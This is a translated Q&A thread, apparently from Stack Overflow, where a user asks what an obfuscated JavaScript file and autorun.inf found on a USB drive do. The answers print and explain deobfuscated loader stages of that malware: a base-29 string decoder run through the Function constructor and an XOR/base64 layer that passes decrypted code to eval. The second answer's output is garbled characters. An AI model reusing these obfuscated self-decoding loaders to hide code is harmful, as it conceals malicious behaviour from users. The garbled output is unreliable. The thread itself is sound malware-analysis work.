混淆的Javascript代码?

时间:2013-09-05 19:44:54

标签: javascript obfuscation malware deobfuscation

所以我的一个朋友在他的pendrive上有这段奇怪的代码(可能是他的计算机上的恶意软件)。它让我感兴趣的是,有问题的代码是用混淆的Javascript编写的(带有一段混淆的autorun.inf到可能被感染的易受攻击的主机),除此之外,它没有任何其他奇怪的文件(我用的是ClamAV)在他的pendrive上,没有发现任何恶意软件。)

如果它有帮助,有问题的程序位于pendrive的77文件夹中,并且有两个副本(它完全相同),每个副本都有一个随机文件名(见下文)。 autorun.inf显然是在root上找到的。

有人可以向我解释这段代码的作用吗?我做的唯一修改就是使用jsbeautifier.org缩进这段代码(之前是一行代码)。

  

主程序(77 / g66ac.js& 77 / i6a6a.js):http://pastebin.com/uj0xSV1e

     

autorun.inf:http://pastebin.com/Aqnmtiq6

抱歉,我无法在这个主题上发布完整的代码,因为它打破了字符限制,所以我不得不把它放在pastebin上。

2 个答案:

答案 0 :(得分:3)

我查看了代码并做了一些调查。它更像是一个评论而不是一个答案,但是渴望评论的方式,所以这里是:

(function (paramA, paramB, paramC, paramD) {
    someVar = "";
    try {
        paramB = paramB.replace(/[^A-Z0-9]+/gi, ""), paramB = paramB.split([]), someVar = document;
    return
    } catch (e) {
        for (i = 0; i < paramB.length; i += 2) 
          someVar += String.fromCharCode(paramA(paramB[i] + paramB[i + 1], 29));

        String.fromCharCode.constructor(someVar)(paramC, paramD)
    }
})(parseInt, string1, string2, string3)

第一个视图步骤改变文本并从中生成一个大的char数组。抛弃异常,我们继续循环。循环通过parseInt创建一个新字符串。它需要一个char和数组中的下一个char,并从中创建一个基数为29的数字。

这条线     String.fromCharCode.constructor(someVar)(paramC,paramD);

很棘手。因为它需要someVar,它是一个包含JS代码的字符串,所以使用构造函数创建一个匿名函数,该函数使用paramC和paramD进行调用。

生成的代码如下:

kPxRViGad8nHNstI$BVr8Lf="";(function(rycgnpqpq,rycgyjqpq,rycggoqpq,rycglpqpq){rycgnpqpq=rycglpqpq(rycgnpqpq),rycgyjqpq=rycglpqpq(rycgyjqpq);try{eval(rycggoqpq("5eb9485dd4a658f8bf9318976cd9832392d4904d",rycgyjqpq))}catch(rycgbsqpq){}})(arguments[0],arguments[1],function(rycgxhqpq,rycgmfqpq){rycgniqpq="";for(rycgqdqpq=0;rycgqdqpq<rycgmfqpq.length;rycgqdqpq++)rycgniqpq+=String.fromCharCode(rycgxhqpq.charCodeAt(rycgqdqpq%rycgxhqpq.length)^rycgmfqpq.charCodeAt(rycgqdqpq));return rycgniqpq},function(rycgunqpq){rycgfyqpq={},rycgunqpq=rycgunqpq.replace(/[^+A-Z0-9\/]+/gi,""),rycguwqpq="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";for(rycgowqpq=0,rycggdqpq=rycguwqpq.length;rycgowqpq<rycggdqpq;rycgowqpq++)rycgfyqpq[rycguwqpq.charAt(rycgowqpq)]=rycgowqpq;rycgdzqpq=[];for(rycgorqpq=0,rycgrfqpq=rycgunqpq.length;rycgorqpq<rycgrfqpq;rycgorqpq+=4)rycguuqpq=(rycgfyqpq[rycgunqpq.charAt(rycgorqpq)]||0)<<18|(rycgfyqpq[rycgunqpq.charAt(1+rycgorqpq)]||0)<<12|(rycgfyqpq[rycgunqpq.charAt(rycgorqpq+2)]||0)<<6|(rycgfyqpq[rycgunqpq.charAt(3+rycgorqpq)]||0),rycgdzqpq.push(rycguuqpq>>16,rycguuqpq>>8&255,rycguuqpq&255);return rycgdzqpq.length-=[0,0,2,1][rycgunqpq.length%4],String.fromCharCode.apply(String,rycgdzqpq)});

这是一个多重嵌套函数。它最终会创建一个非常大的脚本并在eval中运行它。第三个脚本看起来像一些间谍脚本,因为它包含homepage_is_newtabpage,last_prompted_google_url,stackoverflow,facebook等字符串。

答案 1 :(得分:2)

这是某种失败 - 它试图用可能是网络钓鱼或勒索软件重定向的东西重写文档,但它无法正常工作。

[object HTMLDocument]kPxRViGĥź̒ʝstI$B̯̐̑f=“”;(functioʜrşnpqpq,rycgyjqpq,rycggoq˘˳ƶ̓Ǔɤ˘˵˘˳ŠÎ̓̓Ǔʞqpq= rycglpqpq(rycgnp˵q),rcǔȪpq=rycgl˘˵˘˳ł̓gqp˳Ştry{eval(rycggoqpq) ('ƙŀ̭ʜ5dd4a658f8bf9318̭˳˘şź̭̐ɿ392d4̭Ȩʞźƶ̓şǔȪ˵˘˳ŝ}catchł̓şǓł̯˵˘˳ŠÏĉĆŝłĥ̒ǔʁƙʟ̯uȪ¯ƶĥ̒ǔʁƙʟ̯uɇ¯ƶƷƶƷŠion(rycgwǰ˵˘˳ƶ̓şǓʁƶ˵q){rycǓʞȍ˵˘˴“”; for(rycǓ˵ż˵˘˴0;̓cgqdqpq&gt ;̐Ćɢ''ƶ̓guuqpq&amp; 255);返回rycgdzqpq.lenǔǮǒZuȨƴ,2ƴɇ±w̓şǔʞ˵˘.lengtǮéʞʞƵ˙̒ȍʞǑǰromCharĈ'żƗǰĥ˘˘ɥŁtrinǑrycgdz˵˘)});